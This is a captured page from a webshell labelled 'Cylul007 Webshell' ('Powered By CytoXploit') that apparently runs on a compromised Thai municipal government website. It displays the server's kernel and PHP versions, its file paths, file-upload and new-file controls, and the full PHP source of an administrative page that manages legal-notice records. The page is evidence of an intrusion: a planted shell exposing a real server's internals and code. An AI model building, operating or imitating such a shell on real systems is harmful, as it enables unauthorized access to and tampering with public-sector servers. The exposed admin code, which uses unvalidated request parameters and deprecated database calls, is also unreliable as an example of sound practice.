Cylul007 Webshell
Uname
:
Linux ns7.thaihispeed.com 3.10.0-693.11.1.el7.x86_64 #1 SMP Mon Dec 4 23:52:40 UTC 2017 x86_64
PHP
:
5.3.29
on
apache2handler
Time
:
24 Nov 2024 20:29:06
Path :
/
home
/
tassabanlo
/
domains
/
lomsak.go.th
/
public_html
/
File Upload :
New File
New Folder
Current File : /home/tassabanlo/domains/lomsak.go.th/public_html/information2admin.php
Download
HOME
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8"></meta> <link rel="shortcut icon" type="image/x-icon" href="images/favicon.ico" /> <title>สำนักงานเทศบาลเมืองหล่มสัก</title> </head> <?php require_once('Connections/Myconnection.php'); ?> <?php if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION < 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } $maxRows_information2 = 10; $pageNum_information2 = 0; if (isset($_GET['pageNum_information2'])) { $pageNum_information2 = $_GET['pageNum_information2']; } $startRow_information2 = $pageNum_information2 * $maxRows_information2; mysql_select_db($database_Myconnection, $Myconnection); mysql_query("SET NAMES UTF8"); $query_information2 = "SELECT * FROM information2 ORDER BY num_in2 DESC"; $query_limit_information2 = sprintf("%s LIMIT %d, %d", $query_information2, $startRow_information2, $maxRows_information2); $information2 = mysql_query($query_limit_information2, $Myconnection) or die(mysql_error()); $row_information2 = mysql_fetch_assoc($information2); if (isset($_GET['totalRows_information2'])) { $totalRows_information2 = $_GET['totalRows_information2']; } else { $all_information2 = mysql_query($query_information2); $totalRows_information2 = mysql_num_rows($all_information2); } $totalPages_information2 = ceil($totalRows_information2/$maxRows_information2)-1; mysql_select_db($database_Myconnection, $Myconnection); mysql_query("SET NAMES UTF8"); $query_Showinfor2 = "SELECT * FROM information2 ORDER BY num_in2 DESC"; $Showinfor2 = mysql_query($query_Showinfor2, $Myconnection) or die(mysql_error()); $row_Showinfor2 = mysql_fetch_assoc($Showinfor2); $totalRows_Showinfor2 = mysql_num_rows($Showinfor2); ?> <? include "checklogin.php"; include "connect.php"; include "dropdown menuadmin.php" ; include "head.php" ; include "bar.php" ; $sql="SELECT*FROM information2 "; $result = mysql_query($sql,$conn); ?> <style> .button { display: inline-block; border-radius: 4px; background-color: #3498da; color: #FFF; font-size: 13px; padding: 5px; width: 140px; transition: all 0.5s; cursor: pointer; border: 3px solid #87CEFA } .button span { cursor: pointer; display: inline-block; position: relative; transition: 0.5s; } .button span:after { content: '◄'; position: absolute; opacity: 0; top: 0; right: -10px; transition: 0.5s; } .button:hover span { padding-right: 15px; } .button:hover span:after { opacity: 1; right: 0; } body { background-size: 100% auto; background-image: url(images/bg.jpg); } </style> <body> <table width="1024" border="0" align="center" > <!-- menuleft.php start --> <?php include "menuleft.php" ; ?> <!-- menuleft.php end --> <td width="734" align="center" valign="top"> <table width="734" border="0" > <!-- dropbar.php start ข่าวประชาสัมพันธ์ กฏหมายปกครอง ประกาศจัดซื้อจัดจ้าง แผนการจัดซื้อจัดจ้าง วารสารเพื่อการประชาสัมพันธ์ ประกาศอื่นๆ --> <?php include "dropbaradmin.php" ; ?> <!-- dropbar.php end --> </table> <div style="height:850px;width:720px;overflow:auto;border:2px solid #3498da;background: url(images/Text.jpg);position:relative; top:10px;"> <table width="100" border="0" align="right" > <p></p> <tr> <td ><a href="information2_formadd.php">เพิ่มข้อมูล </a></td> </tr> </table> <p></p> <h1 align="center">กฏหมายปกครอง</h1> <!-- <img src="images/Text2head2.png" /> --> <p></p> <table width="717" border="0" > <?php do { ?> <tr> <td width="30" align="center"><?php echo $row_information2['num_in2']; ?></td> <td width="550" align="left"><?php echo $row_information2['name_in2']; ?></td> <td width="50" align="center"><a href=" informationpdf2/<?php echo $row_information2['pdf_in2']; ?>" >Download</a></td> <td width="50" align="center"><a href="information2_formedit.php?num_in2=<?php echo $row_information2['num_in2']; ?>">แก้ไข</a><? echo"</a>";?> <td width="50" align="center"><a href="informaition2_del.php?num_in2=<?php echo $row_Showinfor2['num_in2']; ?>">ลบ</a><? echo"</a>";?> </tr> <?php } while ($row_information2 = mysql_fetch_assoc($information2)); ?> </table> </div> </th> </tr> </table> </body> <? include "foot.php"?> </html> <?php mysql_free_result($information2); mysql_free_result($Showinfor2); ?>
Copyright © 2018 - Powered By CytoXploit